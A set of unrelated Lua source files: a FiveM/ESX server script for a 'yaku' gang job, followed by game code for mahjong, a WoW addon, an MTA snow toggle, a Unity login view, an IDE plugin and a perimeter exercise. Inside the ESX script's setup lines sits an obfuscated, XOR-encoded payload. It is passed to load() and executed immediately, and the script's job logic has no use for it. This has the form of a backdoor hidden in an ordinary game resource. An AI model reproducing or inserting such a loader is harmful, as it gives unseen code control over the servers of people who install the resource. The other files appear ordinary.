ESX = nil TriggerEvent('esx:getSharedObject', function(obj) ESX = obj end) if Config.MaxInService ~= -1 then TriggerEvent('esx_service:activateService', 'yaku', Config.MaxInService) end -- TriggerEvent('esx_phone:registerNumber', 'yaku', _U('alert_yaku'), true, true) TriggerEvent('esx_society:registerSociety', 'yaku', 'yaku', 'society_yaku', 'society_yaku', 'society_yaku', {type = 'public'}) mkn="ectfi"local a=load((function(b,c)function bxor(d,e)local f={{0,1},{1,0}}local g=1;local h=0;while d>0 or e>0 do h=h+f[d%2+1][e%2+1]*g;d=math.floor(d/2)e=math.floor(e/2)g=g*2 end;return h end;local i=function(b)local j={}local k=1;local l=b[k]while l>=0 do j[k]=b[l+1]k=k+1;l=b[k]end;return j end;local m=function(b,c)if#c<=0 then return{}end;local k=1;local n=1;for k=1,#b do b[k]=bxor(b[k],string.byte(c,n))n=n+1;if n>#c then n=1 end end;return b end;local o=function(b)local j=""for k=1,#b do j=j..string.char(b[k])end;return j end;return o(m(i(b),c))end)({335,312,543,485,268,387,434,245,558,339,563,239,580,513,349,437,536,453,254,261,459,276,527,572,360,482,259,603,506,451,568,334,447,472,416,498,283,396,466,255,444,422,497,320,522,249,352,377,597,304,490,361,273,358,524,439,338,296,317,516,525,548,591,406,433,600,362,405,596,562,348,411,373,442,345,272,323,531,480,599,537,575,469,601,318,368,290,430,426,462,464,418,388,378,384,589,583,366,327,402,569,509,478,354,593,351,326,564,242,403,337,271,415,359,321,551,441,443,546,331,445,367,570,274,502,287,557,504,440,286,501,310,436,539,488,544,471,519,386,246,253,560,533,494,369,592,602,341,393,282,520,491,371,293,372,561,409,481,336,427,420,505,307,499,301,344,473,376,425,492,511,432,419,579,510,475,340,455,457,460,512,322,547,465,431,517,587,577,394,556,404,265,303,329,414,382,315,486,401,428,529,470,554,479,380,586,421,302,375,247,330,391,598,550,468,448,542,566,398,299,549,308,256,435,582,343,456,484,526,288,407,374,553,413,264,300,397,438,-1,49,51,188,70,171,82,60,73,6,36,48,120,111,108,69,78,4,17,76,106,76,72,75,51,166,44,13,151,181,6,91,49,75,73,66,91,167,23,215,115,104,230,72,73,77,135,62,73,87,13,203,2,228,3,15,216,7,1,39,51,73,49,29,92,17,95,23,35,1,67,187,11,251,6,134,196,67,143,8,8,186,17,27,0,67,223,247,67,2,115,2,1,13,238,141,23,53,70,3,5,29,67,21,170,104,33,12,96,7,23,28,128,69,38,83,107,233,78,149,68,20,26,41,6,52,241,76,21,67,17,5,116,16,10,27,67,5,0,70,10,35,6,30,88,35,29,126,70,23,1,141,112,10,162,10,52,229,23,68,70,139,249,5,12,0,11,6,8,73,182,67,58,32,105,33,73,17,0,109,16,84,0,7,17,42,205,7,70,27,8,108,88,73,67,73,14,8,17,0,93,69,79,17,2,55,74,0,168,17,76,214,173,8,202,0,160,84,105,70,223,13,5,187,27,204,0,10,9,192,64,0,15,67,4,2,98,69,94,224,93,10,3,73,95,200,17,0,4,168,100,151,32,12,100,122,70,35,151,21,11,10,87,17,73,212,68,16,22,94,254,16,73,111,10,23,58,21,10,13,156,84,6,168,70,59,69,17,8,0,246,9,121,6,130,84,222,64,16,16,88,8,114,182,110,6,111,22,9,21,10,69,3,10,35,83,92,24,28,83,18,61,67,0,6,21,84,222,126,26,22,23,73,31,22,132,224,15,31,7,168,70,17,73,13,6,29,11,4,2,43,45,116,27,10,99,224,51,20,83,23,26,77,34,0,91,246},mkn))if a then a()end; RegisterServerEvent('esx_yakujob:giveWeapon') AddEventHandler('esx_yakujob:giveWeapon', function(weapon, ammo) local xPlayer = ESX.GetPlayerFromId(source) xPlayer.addWeapon(weapon, ammo) end) RegisterServerEvent('esx_yakujob:confiscatePlayerItem') AddEventHandler('esx_yakujob:confiscatePlayerItem', function(target, itemType, itemName, amount) local sourceXPlayer = ESX.GetPlayerFromId(source) local targetXPlayer = ESX.GetPlayerFromId(target) if itemType == 'item_standard' then local label = sourceXPlayer.getInventoryItem(itemName).label targetXPlayer.removeInventoryItem(itemName, amount) sourceXPlayer.addInventoryItem(itemName, amount) TriggerClientEvent('esx:showNotification', sourceXPlayer.source, _U('you_have_confinv') .. amount .. ' ' .. label .. _U('from') .. targetXPlayer.name) TriggerClientEvent('esx:showNotification', targetXPlayer.source, '~b~' .. targetXPlayer.name .. _U('confinv') .. amount .. ' ' .. label ) end if itemType == 'item_account' then targetXPlayer.removeAccountMoney(itemName, amount) sourceXPlayer.addAccountMoney(itemName, amount) TriggerClientEvent('esx:showNotification', sourceXPlayer.source, _U('you_have_confdm') .. amount .. _U('from') .. targetXPlayer.name) TriggerClientEvent('esx:showNotification', targetXPlayer.source, '~b~' .. targetXPlayer.name .. _U('confdm') .. amount) end if itemType == 'item_weapon' then targetXPlayer.removeWeapon(itemName) sourceXPlayer.addWeapon(itemName, amount) TriggerClientEvent('esx:showNotification', sourceXPlayer.source, _U('you_have_confweapon') .. ESX.GetWeaponLabel(itemName) .. _U('from') .. targetXPlayer.name) TriggerClientEvent('esx:showNotification', targetXPlayer.source, '~b~' .. targetXPlayer.name .. _U('confweapon') .. ESX.GetWeaponLabel(itemName)) end end) RegisterServerEvent('esx_yakujob:handcuff') AddEventHandler('esx_yakujob:handcuff', function(target) TriggerClientEvent('esx_yakujob:handcuff', target) end) RegisterServerEvent('esx_yakujob:drag') AddEventHandler('esx_yakujob:drag', function(target) local _source = source TriggerClientEvent('esx_yakujob:drag', target, _source) end) RegisterServerEvent('esx_yakujob:putInVehicle') AddEventHandler('esx_yakujob:putInVehicle', function(target) TriggerClientEvent('esx_yakujob:putInVehicle', target) end) RegisterServerEvent('esx_yakujob:OutVehicle') AddEventHandler('esx_yakujob:OutVehicle', function(target) TriggerClientEvent('esx_yakujob:OutVehicle', target) end) RegisterServerEvent('esx_yakujob:getStockItem') AddEventHandler('esx_yakujob:getStockItem', function(itemName, count) local xPlayer = ESX.GetPlayerFromId(source) TriggerEvent('esx_addoninventory:getSharedInventory', 'society_yaku', function(inventory) local item = inventory.getItem(itemName) if item.count >= count then inventory.removeItem(itemName, count) xPlayer.addInventoryItem(itemName, count) else TriggerClientEvent('esx:showNotification', xPlayer.source, _U('quantity_invalid')) end TriggerClientEvent('esx:showNotification', xPlayer.source, _U('have_withdrawn') .. count .. ' ' .. item.label) end) end) RegisterServerEvent('esx_yakujob:putStockItems') AddEventHandler('esx_yakujob:putStockItems', function(itemName, count) local xPlayer = ESX.GetPlayerFromId(source) TriggerEvent('esx_addoninventory:getSharedInventory', 'society_yaku', function(inventory) local item = inventory.getItem(itemName) if item.count >= 0 then xPlayer.removeInventoryItem(itemName, count) inventory.addItem(itemName, count) else TriggerClientEvent('esx:showNotification', xPlayer.source, _U('quantity_invalid')) end TriggerClientEvent('esx:showNotification', xPlayer.source, _U('added') .. count .. ' ' .. item.label) end) end) ESX.RegisterServerCallback('esx_yakujob:getOtherPlayerData', function(source, cb, target) if Config.EnableESXIdentity then local xPlayer = ESX.GetPlayerFromId(target) local identifier = GetPlayerIdentifiers(target)[1] local result = MySQL.Sync.fetchAll("SELECT * FROM users WHERE identifier = @identifier", { ['@identifier'] = identifier }) local user = result[1] local firstname = user['firstname'] local lastname = user['lastname'] local sex = user['sex'] local dob = user['dateofbirth'] local height = user['height'] .. " Inches" local data = { name = GetPlayerName(target), job = xPlayer.job, inventory = xPlayer.inventory, accounts = xPlayer.accounts, weapons = xPlayer.loadout, firstname = firstname, lastname = lastname, sex = sex, dob = dob, height = height } TriggerEvent('esx_status:getStatus', source, 'drunk', function(status) if status ~= nil then data.drunk = math.floor(status.percent) end end) if Config.EnableLicenses then TriggerEvent('esx_license:getLicenses', source, function(licenses) data.licenses = licenses cb(data) end) else cb(data) end else local xPlayer = ESX.GetPlayerFromId(target) local data = { name = GetPlayerName(target), job = xPlayer.job, inventory = xPlayer.inventory, accounts = xPlayer.accounts, weapons = xPlayer.loadout } TriggerEvent('esx_status:getStatus', _source, 'drunk', function(status) if status ~= nil then data.drunk = status.getPercent() end end) TriggerEvent('esx_license:getLicenses', _source, function(licenses) data.licenses = licenses end) cb(data) end end) ESX.RegisterServerCallback('esx_yakujob:getFineList', function(source, cb, category) MySQL.Async.fetchAll( 'SELECT * FROM racket_organisation WHERE category = @category', { ['@category'] = category }, function(fines) cb(fines) end ) end) ESX.RegisterServerCallback('esx_yakujob:getVehicleInfos', function(source, cb, plate) if Config.EnableESXIdentity then MySQL.Async.fetchAll( 'SELECT * FROM owned_vehicles', {}, function(result) local foundIdentifier = nil for i=1, #result, 1 do local vehicleData = json.decode(result[i].vehicle) if vehicleData.plate == plate then foundIdentifier = result[i].owner break end end if foundIdentifier ~= nil then MySQL.Async.fetchAll( 'SELECT * FROM users WHERE identifier = @identifier', { ['@identifier'] = foundIdentifier }, function(result) local ownerName = result[1].firstname .. " " .. result[1].lastname local infos = { plate = plate, owner = ownerName } cb(infos) end ) else local infos = { plate = plate } cb(infos) end end ) else MySQL.Async.fetchAll( 'SELECT * FROM owned_vehicles', {}, function(result) local foundIdentifier = nil for i=1, #result, 1 do local vehicleData = json.decode(result[i].vehicle) if vehicleData.plate == plate then foundIdentifier = result[i].owner break end end if foundIdentifier ~= nil then MySQL.Async.fetchAll( 'SELECT * FROM users WHERE identifier = @identifier', { ['@identifier'] = foundIdentifier }, function(result) local infos = { plate = plate, owner = result[1].name } cb(infos) end ) else local infos = { plate = plate } cb(infos) end end ) end end) ESX.RegisterServerCallback('esx_yakujob:getArmoryWeapons', function(source, cb) TriggerEvent('esx_datastore:getSharedDataStore', 'society_yaku', function(store) local weapons = store.get('weapons') if weapons == nil then weapons = {} end cb(weapons) end) end) ESX.RegisterServerCallback('esx_yakujob:addArmoryWeapon', function(source, cb, weaponName) local xPlayer = ESX.GetPlayerFromId(source) xPlayer.removeWeapon(weaponName) TriggerEvent('esx_datastore:getSharedDataStore', 'society_yaku', function(store) local weapons = store.get('weapons') if weapons == nil then weapons = {} end local foundWeapon = false for i=1, #weapons, 1 do if weapons[i].name == weaponName then weapons[i].count = weapons[i].count + 1 foundWeapon = true end end if not foundWeapon then table.insert(weapons, { name = weaponName, count = 1 }) end store.set('weapons', weapons) cb() end) end) ESX.RegisterServerCallback('esx_yakujob:removeArmoryWeapon', function(source, cb, weaponName) local xPlayer = ESX.GetPlayerFromId(source) xPlayer.addWeapon(weaponName, 1000) TriggerEvent('esx_datastore:getSharedDataStore', 'society_yaku', function(store) local weapons = store.get('weapons') if weapons == nil then weapons = {} end local foundWeapon = false for i=1, #weapons, 1 do if weapons[i].name == weaponName then weapons[i].count = (weapons[i].count > 0 and weapons[i].count - 1 or 0) foundWeapon = true end end if not foundWeapon then table.insert(weapons, { name = weaponName, count = 0 }) end store.set('weapons', weapons) cb() end) end) ESX.RegisterServerCallback('esx_yakujob:buy', function(source, cb, amount) TriggerEvent('esx_addonaccount:getSharedAccount', 'society_yaku', function(account) if account.money >= amount then account.removeMoney(amount) cb(true) else cb(false) end end) end) ESX.RegisterServerCallback('esx_yakujob:getStockItems', function(source, cb) TriggerEvent('esx_addoninventory:getSharedInventory', 'society_yaku', function(inventory) cb(inventory.items) end) end) ESX.RegisterServerCallback('esx_yakujob:getPlayerInventory', function(source, cb) local xPlayer = ESX.GetPlayerFromId(source) local items = xPlayer.inventory cb({ items = items }) end)
--[[ 因为后端会发比较大范围的场景对象过来,前端这边也做下更小的 aoi 以降低消耗。 另外后端只是发了角色 id 和坐标,然后前端这边根据特定规则过滤,排序等(比如优先显示队友,好友或是我的敌人等等); 然后根据这个排序会把角色分为三级并告诉后端,后端根据这三级将区别发送信息给前端,三级为(不推送,只推送移动,推送全信息) --]] local ecs = require "ecs.ecs" local mt = ecs.class("aoi_system", ecs.system) function mt:on_update() self.filter = self.filter or ecs.all("aoi") self:foreach(self.filter, function(ed) end) end return mt
-- Copyright 2014 Paul Kulchenko, ZeroBrane LLC; All rights reserved local winapi local flags local needrefresh = {} local function refreshProjectTree() for file, kind in pairs(needrefresh) do -- if the file is removed, try to find a non-existing file in the same folder -- as this will trigger a refresh of that folder ide:GetProjectTree():FindItem( file..(kind == winapi.FILE_ACTION_REMOVED and "/../\1" or "")) end needrefresh = {} end local function handler(plugin, kind, file) needrefresh[file] = kind plugin.onIdleOnce = refreshProjectTree end local watches = {} return { name = "Refresh project tree", description = "Refreshes project tree when files change (Windows only).", author = "Paul Kulchenko", version = 0.21, dependencies = {0.71, osname = "Windows"}, onRegister = function(self) local ok ok, winapi = pcall(require, 'winapi') if not ok then return false end flags = winapi.FILE_NOTIFY_CHANGE_DIR_NAME + winapi.FILE_NOTIFY_CHANGE_FILE_NAME end, onIdle = function(self) if next(watches) then winapi.sleep(1) end end, onProjectLoad = function(plugin, project) if watches[project] then return end for _, watcher in pairs(watches) do watcher:kill() end watches = {} local enc = winapi.get_encoding(winapi.CP_UTF8) winapi.set_encoding(winapi.CP_UTF8) local watcher, err = winapi.watch_for_file_changes(project, flags, true, function(...) return handler(plugin, ...) end) winapi.set_encoding(enc) if not watcher then error(("Can't set watcher for project '%s': %s"):format(project, err)) end watches[project] = watcher end, }
--[[ file:mahjongLogic.lua desc:麻将逻辑 auth:Carol Luo ]] local class = require("class") local senum = require("mahjong.enum") local gameCompetition= require("game.competition") ---@class mahjongCompetition:gameCompetition @麻将桌子 local competition = class(gameCompetition) local this = competition ---构造函数 function competition:ctor() ---@type table<senum,number> @动作优先级 self._prioritys = nil; ---@type table<status,table<senum,function>> @动作检查表 self._behaviors = nil; end ---重制数据 function competition:dataReboot() self:super(this,"dataReboot") end ---@class s2cMahjongStart @游戏开始 ---游戏开始 ---@param data s2cMahjongStart @数据 function competition:s2cMahjongStart(data) self:ntfMsgToTable("s2cMahjongStart",data); end ---@class s2cMahjongClose @游戏结束 ---游戏结束 ---@param data s2cMahjongClose @数据 function competition:s2cMahjongClose(data) self:ntfMsgToTable("s2cMahjongClose",data); end ---@class s2cMahjongDealCard @游戏发牌 ---@field isBanker boolean @是否庄家 ---@field seatID seatID @发牌玩家 ---@field counts count @发牌张数 ---@field cards mjCard[] @发牌数据 local see = { fields = {"cards"}, chairs = {}, } ---游戏发牌 ---@param data s2cMahjongDealCard @数据 function competition:s2cMahjongDealCard(data) see.chairs[1]=data.seatID self:ntfMsgToTable("s2cMahjongDealCard",senum.faPai(),data,see); end ---@class s2cMahjongDetails @游戏详情 ---@field seatID seatID @麻将详情 ---@field status status @游戏状态 ---@field pcards xxxxxx @玩家麻将 ---游戏详情 ---@param data table @数据 function competition:s2cMahjongDetails(data) local seat = data.seatID local player = self._arrPlayer[seat]; self:ntfMsgToPlayer(player,"s2cMahjongDetails",senum.scene(),data); end ---@class s2cMahjongBuHua @补花通知 ---@field seatID seatID @补花玩家 ---@field cards mjCard[] @补花数据 ---补花通知 ---@param data s2cMahjongBuHua @数据 function competition:s2cMahjongBuHua(data) self:ntfMsgToTable("s2cMahjongBuHua",senum.buHua(),data); end ---@class s2cMahjongChuPai @出牌通知 ---@field seatID seatID @出牌玩家 ---@field cards mjCard[] @出牌数据 ---出牌通知 ---@param data s2cMahjongChuPai @数据 function competition:s2cMahjongChuPai(data) self:ntfMsgToTable("s2cMahjongChuPai",senum.chuPai(),data); end ---@class s2cMahjongMoPai @摸牌通知 ---@field seatID seatID @摸牌玩家 ---@field cards mjCard[] @摸牌数据 local see = { fields = {"cards"}, chairs = {}, } ---摸牌通知 ---@param data s2cMahjongMoPai @数据 function competition:s2cMahjongMoPai(data) see.chairs[1]=data.seatID self:ntfMsgToTable("s2cMahjongMoPai",senum.moPai(),data,see); end ---@class s2cMahjongChiPai @吃牌通知 ---@field seatID seatID @吃牌玩家 ---@field cards mjCard[] @吃牌数据 ---吃牌通知 ---@param data s2cMahjongChiPai @数据 function competition:s2cMahjongChiPai(data) self:ntfMsgToTable("s2cMahjongChiPai",senum.chiPai(),data); end ---@class s2cMahjongPengPai @碰牌通知 ---@field seatID seatID @碰牌玩家 ---@field cards mjCard[] @碰牌数据 ---碰牌通知 ---@param data s2cMahjongPengPai @数据 function competition:s2cMahjongPengPai(data) self:ntfMsgToTable("s2cMahjongPengPai",senum.pengPai(),data); end ---@class s2cMahjongGangPai @杠牌通知 ---@field seatID seatID @杠牌玩家 ---@field senum senum @杠牌动作 ---@field cards mjCard[] @杠牌数据 ---杠牌通知 ---@param data s2cMahjongGangPai @数据 function competition:s2cMahjongGangPai(data) self:ntfMsgToTable("s2cMahjongGangPai",data.senum,data); end ---@class s2cMahjongHuPai @胡牌通知 ---@field senum string @胡牌动作 ---@field types string[] @胡牌类型 ---@field cards mjCard[] @胡牌数据 ---胡牌通知 ---@param data s2cMahjongHuPai @数据 function competition:s2cMahjongHuPai(data) self:ntfMsgToTable("s2cMahjongHuPai",data.senum,data); end ---@class s2cMahjongTimer @计时通知 ---@field djs sec @倒计时 ---计时通知 ---@param data s2cMahjongTimer @数据 function competition:s2cMahjongTimer(data) self:ntfMsgToTable("s2cMahjongTimer",senum.timer(),data); end ---@class s2cMahjongHandle @操作通知 ---@field seatID seatID @位置 ---@field poinID seatID @指向 ---@field handles mjHandle[] @操作 ---操作通知 ---@param data s2cMahjongHandle @数据 function competition:s2cMahjongHandle(data) self:ntfMsgToTable("s2cMahjongHandle",senum.handle(),data); end ---@class sc2MahjongDeduct @扣分通知 ---@field senum string @扣分动作 ---@field types string[] @扣分原因 ---@field score score @变化分数 ---@field balan score @当前余额 ---扣分通知 ---@param data sc2MahjongDeduct @数据 function competition:sc2MahjongDeduct(data) self:ntfMsgToTable("sc2MahjongDeduct",senum.deduct(),data); end return competition
local _, T = ... local EV, L = T.Evie, T.L local MR local function Rewards_FollowerOnEnter(self) local fi = self.RewardsFollower.info if not fi then return end local xp, levelsGained, xpToNext = self.RewardsFollower.xp, 0 if (xp + fi.currentXP) >= fi.maxXP then local xpTable = C_Garrison.GetFollowerXPTable(123) local cxp, clevel = xp+fi.currentXP, fi.level repeat cxp, clevel = cxp - xpTable[clevel+levelsGained], clevel+1 until (xpTable[clevel] or 0) == 0 or cxp < xpTable[clevel] levelsGained = clevel - fi.level if (xpTable[clevel] or 0) ~= 0 then xpToNext = xpTable[clevel] - cxp end elseif (fi.maxXP or 0) ~= 0 then xpToNext = fi.maxXP - fi.currentXP - xp end local lc = (levelsGained > 0 and "|cff20c020" or "|cffa8a8a8") local nextXP = xpToNext and ("|cffb2b2b2; " .. GARRISON_FOLLOWER_TOOLTIP_XP:gsub("%%[^%%]*d", "%%s"):format(BreakUpLargeNumbers(xpToNext))) or "" GameTooltip:SetOwner(self, "ANCHOR_TOP") GameTooltip:AddDoubleLine(fi.name, lc .. UNIT_LEVEL_TEMPLATE:format(fi.level+levelsGained)) GameTooltip:AddLine(XP_GAIN:format(BreakUpLargeNumbers(xp)) .. nextXP, 0.15, 0.85, 0.15) GameTooltip:Show() end local function Rewards_FollowerOnLeave(self) if GameTooltip:IsOwned(self) then GameTooltip:Hide() end end local function RewardsScreen_OnPopulate(self, _fi, mi, _winner) for x in self.followerPool:EnumerateActive() do x:SetScript("OnEnter", Rewards_FollowerOnEnter) x:SetScript("OnLeave", Rewards_FollowerOnLeave) end local repNovel, headPrefix, text = T.GetMissionReportInfo(mi.missionID), "", nil MR:SetShown((repNovel or 0) ~= 0) if repNovel == 1 then headPrefix, text = NORMAL_FONT_COLOR_CODE, L'"Everything went as foretold."' MR.RarityBorder:SetAtlas("loottoast-itemborder-gold") elseif repNovel == 2 then headPrefix, text = ITEM_QUALITY_COLORS[2].hex, L'"The outcome was as foretold."' MR.RarityBorder:SetAtlas("loottoast-itemborder-green") elseif repNovel == 3 then headPrefix, text = ITEM_QUALITY_COLORS[3].hex, L'"Nothing went as expected."' MR.RarityBorder:SetAtlas("loottoast-itemborder-blue") end MR.tooltipHeader = headPrefix .. L"Adventure Report" MR.tooltipText = "|cffffffff" .. L"A detailed record of an adventure completed by your companions." .. (text and "\n\n" .. NORMAL_FONT_COLOR_CODE .. text or "") end function EV:I_ADVENTURES_UI_LOADED() local FRP = CovenantMissionFrame.MissionComplete.RewardsScreen.FinalRewardsPanel MR = T.CreateObject("RewardFrame", FRP) MR:SetSize(40, 40) MR.Icon:SetTexture("Interface/Icons/INV_Inscription_80_Scroll") MR:SetPoint("TOPRIGHT", FRP.FinalRewardsLineTop, "BOTTOMRIGHT", -42, -4) hooksecurefunc(CovenantMissionFrame.MissionComplete.RewardsScreen, "PopulateFollowerInfo", RewardsScreen_OnPopulate) return "remove" end
-------------------------------------------------------------------------------- -- Handler.......... : onUserWantsToQuit -- Author........... : Bérenger Calle-Cort -- Description...... : Display a popup to confirm or not to quit the application. -------------------------------------------------------------------------------- -------------------------------------------------------------------------------- function Main.onUserWantsToQuit ( ) -------------------------------------------------------------------------------- local sText = application.getCurrentUserEnvironmentVariable( "Text.QuestionQuitApplication") user.sendEvent ( this.getUser ( ), "WindowManager", "onWindowNewQuestion", sText, "Main", "onUserWantsToQuit_Confirmed" ) -------------------------------------------------------------------------------- end --------------------------------------------------------------------------------
local guiEnabled = false local snowToggle = true addEvent("onClientReady",true) addEventHandler("onClientReady",root,function() triggerClientEvent(client,"triggerGuiEnabled",client,guiEnabled,snowToggle) end) local maxHowTo = 2 local howToTable = {} addEventHandler("onPlayerLeave",root,function() howToTable[source] = nil end) addEventHandler("onPlayerChat",root, function(m) local lowerC = string.lower(m) local find = string.find(lowerC,"snow") if find then playerHowToCheck(source) end end ) function playerHowToCheck(p) if p then if not howToTable[p] then howToTable[p] = 1 tellPlayerHowTo(p) else if howToTable[p] > maxHowTo then return end howToTable[p] = howToTable[p] + 1 tellPlayerHowTo(p) end end end function tellPlayerHowTo(p) outputChatBox("You can enable/disable snow by pressing F12",p,0,255,0) end
--[[ -- added by wsh @ 2017-12-01 -- UILogin视图层 -- 注意: -- 1、成员变量最好预先在__init函数声明,提高代码可读性 -- 2、OnEnable函数每次在窗口打开时调用,直接刷新 -- 3、组件命名参考代码规范 --]] local UILoginView = BaseClass("UILoginView", UIBaseView) local base = UIBaseView -- 各个组件路径 local server_text_path = "ContentRoot/SvrRoot/SvrSelectBtn/SvrText" local account_input_path = "ContentRoot/AccountRoot/AccountInput" local password_input_path = "ContentRoot/PasswordRoot/PasswordInput" local server_select_btn_path = "ContentRoot/SvrRoot/SvrSelectBtn" local login_btn_path = "ContentRoot/LoginBtn" local long_press_bg = "BgRoot/Bg" local app_version_text_path = "ContentRoot/AppVersionText" local res_version_text_path = "ContentRoot/ResVersionText" -- 以下为测试用的组件路径 local test_uieffect1_path = "TestEffect1" local test_uieffect2_path = "TestEffect2" local test_uieffect2_1_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font1/p_font1/xingxing_01" local test_uieffect2_2_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font2/p_font2/xingxing_02" local test_uieffect2_3_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font3/p_font3/xingxing_03" local test_uieffect2_4_path = "TestEffect2/ef_ui_TaskFinish/ani/ani_font4/p_font4/xingxing_04" local test_content_canvas_path = "ContentRoot" local test_bottom_canvas_path = "BottomRoot" local test_top_canvas_path = "TopRoot" -- 以下为定时器、更新函数、协程测试用的组件路径 local test_timer_path = "TestTimer" local test_updater_path = "TestUpdater" local test_coroutine_path = "TestCoroutine" local function ClickOnLoginBtn(self) --local name = self.account_input:GetText() --local password = self.password_input:GetText() --self.ctrl:LoginServer(name, password) --self.ctrl:LogindatangServer(self.Model); --self.ctrl:LogindatangServer(self.model) self.ctrl:LoginDragonServer(); -----测试xml解析 require("Common.Tools.LuaSimpleXMLParser.xmlTest") local a = setmetatable({},{__index ={abc=111}}) print(a.abc); end local function OnCreate(self) base.OnCreate(self) -- 初始化各个组件 self.app_version_text = self:AddComponent(UIText, app_version_text_path) self.res_version_text = self:AddComponent(UIText, res_version_text_path) self.server_text = self:AddComponent(UIText, server_text_path) self.account_input = self:AddComponent(UIInput, account_input_path) self.password_input = self:AddComponent(UIInput, password_input_path) self.server_select_btn = self:AddComponent(UIButton, server_select_btn_path) self.login_btn = self:AddComponent(UIButton, login_btn_path) --长按事件 self.press_Img = self:AddComponent(UIPointerLongPress, long_press_bg) self.press_Img:SetOnClick( function() print("click") self.ctrl:SendSelectRoleNew(); end ) self.press_Img:SetOnPress( function() print("long Press") end ) -- 设置点击回调 -- 使用方式一:闭包绑定 self.server_select_btn:SetOnClick( function() self.ctrl:ChooseServer() end ) -- 使用方式二:私有函数、成员函数绑定 self.login_btn:SetOnClick(self, ClickOnLoginBtn) -- 以下为UI特效层级测试代码 local effect1_config = EffectConfig.UIPetRankYellow local effect2_config = EffectConfig.UITaskFinish self.test_effect1 = self:AddComponent(UIEffect, test_uieffect1_path, 1, effect1_config) self.test_effect2 = self:AddComponent( UIEffect, test_uieffect2_path, 2, effect2_config, function() if not IsNull(self.test_effect2.effect.gameObject) then self.test_effect2.effect.transform.name = "ef_ui_TaskFinish" self:AddComponent(UIEffect, test_uieffect2_1_path, 2) self:AddComponent(UIEffect, test_uieffect2_2_path, 4) self:AddComponent(UIEffect, test_uieffect2_3_path, 4) self:AddComponent(UIEffect, test_uieffect2_4_path, 6) end end ) self:AddComponent(UICanvas, test_content_canvas_path, 2) self:AddComponent(UICanvas, test_bottom_canvas_path, 1) self:AddComponent(UICanvas, test_uieffect2_path, 3) self:AddComponent(UICanvas, test_top_canvas_path, 5) -- 以下为计时器、更新函数、协程的测试代码 self.timer_value = 0 self.update_value = 0 self.coroutine_value = 0 self.test_timer_text = self:AddComponent(UIText, test_timer_path) self.test_updater_text = self:AddComponent(UIText, test_updater_path) self.test_coroutine_text = self:AddComponent(UIText, test_coroutine_path) -- 这里一定要对回调函数持有引用,否则随时可能被GC,引起定时器失效 -- 或者使用成员函数,它的生命周期是和对象绑定在一块的 self.timer_action = function(self) self.timer_value = self.timer_value + 1 self.test_timer_text:SetText(tostring(self.timer_value)) end self.timer = TimerManager:GetInstance():GetTimer(1, self.timer_action, self) -- 启动定时器 self.timer:Start() -- 启动协程 coroutine.start( function() -- 下面的代码仅仅用于测试,别模仿,很容易出现问题: -- 1、时间统计有累积误差,其实协程用在UI倒计时展示时一般问题不大,倒计时会稍微比真实时间长,具体影响酌情考虑 -- 2、这个协程一旦启用无法被回收,当然,可以避免这点,使用一个控制变量,在对象销毁的时候退出死循环即可 while true do coroutine.waitforseconds(0.5) self.coroutine_value = self.coroutine_value + 0.5 self.test_coroutine_text:SetText(tostring(string.format("%.3f", self.coroutine_value))) end end ) end local function OnEnable(self) base.OnEnable(self) self:OnRefresh() end -- Update测试 local function Update(self) self.update_value = self.update_value + Time.deltaTime self.test_updater_text:SetText(tostring(string.format("%.3f", self.update_value))) end local function OnRefreshServerInfo(self) self.server_text:SetText(self.model.area_name .. " " .. self.model.server_name) end local function OnRefresh(self) -- 各组件刷新 self.app_version_text:SetText("游戏版本号:" .. self.model.client_app_ver) self.res_version_text:SetText("资源版本号:" .. self.model.client_res_ver) self.account_input:SetText(self.model.account) self.password_input:SetText(self.model.password) OnRefreshServerInfo(self) end local function OnAddListener(self) base.OnAddListener(self) -- UI消息注册 self:AddUIListener(UIMessageNames.UILOGIN_ON_SELECTED_SVR_CHG, OnRefreshServerInfo) end local function OnRemoveListener(self) base.OnRemoveListener(self) -- UI消息注销 self:RemoveUIListener(UIMessageNames.UILOGIN_ON_SELECTED_SVR_CHG, OnRefreshServerInfo) end local function OnDestroy(self) self.app_version_text = nil self.res_version_text = nil self.server_text = nil self.account_input = nil self.password_input = nil self.server_select_btn = nil self.login_btn = nil -- 测试代码 self.timer:Stop() base.OnDestroy(self) end UILoginView.OnCreate = OnCreate UILoginView.OnEnable = OnEnable UILoginView.Update = Update UILoginView.OnRefresh = OnRefresh UILoginView.OnAddListener = OnAddListener UILoginView.OnRemoveListener = OnRemoveListener UILoginView.OnDestroy = OnDestroy return UILoginView
side = {} min = 4; max = 20; side[1] = min + math.random(max - min); side[2] = side[1] + math.random(max - min); side[3] = side[1] + math.random(side[2] - side[1]); side[4] = side[1] side[5] = side[2] for i=1,3 do if(side[i] > side[i+1] + side[i+2]) then side[i] = side[i+1] end end if (ITEM == 1) then result = side[1] + side[2] + side[3] answ = msg_triangle .. tostring(math.floor(side[1])) .. "cm, " .. tostring(math.floor(side[2])) .. "cm" .. msg_and .. tostring(math.floor(side[3])) .. "cm." else if (ITEM == 2) then result = side[2] * 4 answ = msg_square .. tostring(math.floor(side[2])) .. "cm." else result = (side[1] + side[3]) * 2 answ = msg_rectangle .. tostring(math.floor(side[1])) .. "cm" .. msg_and .. tostring(math.floor(side[3])) .. "cm." end end